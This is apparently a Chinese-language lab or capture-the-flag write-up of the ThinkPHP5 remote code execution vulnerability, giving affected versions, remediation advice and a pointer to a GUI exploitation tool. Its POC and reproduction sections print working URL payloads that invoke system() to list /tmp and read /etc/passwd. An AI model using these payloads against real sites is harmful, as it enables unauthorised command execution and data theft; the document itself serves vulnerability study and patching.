一、漏洞描述
ThinkPHP5 存在远程代码执行漏洞。该漏洞由于框架对控制器名未能进行足够的检测,攻击者利用该漏洞对目标网站进行远程命令执行攻击。
二、影响版本
ThinkPHP 5.0系列 < 5.0.23
ThinkPHP 5.1系列 < 5.1.31
三、POC
在其地址增加路径与参数即可
/index.php/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=ls /tmp
四、漏洞复现
URL加路径/index.php/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=cat%20/etc/passwd
获取flag的话用ls /tmp命令即可;
使用ThinkPHP漏洞利用工具:
五、整改建议
升级到ThinkPHP5的安全版本5.0.23或更高版本。
如果无法立即升级,可以通过以下方法暂时防御:
检查应用中是否使用了
bind
方法,如果用于数据绑定,确保所有用户输入被正确清理和转义。如果不需要使用
bind
方法,可以考虑移除或者替换掉。对于用户输入进行严格的验证和过滤,确保不会执行任何不安全的操作。
六、参考链接
GitHub - Lotus6/ThinkphpGUI: Thinkphp(GUI)漏洞利用工具,支持各版本TP漏洞检测,命令执行,getshell。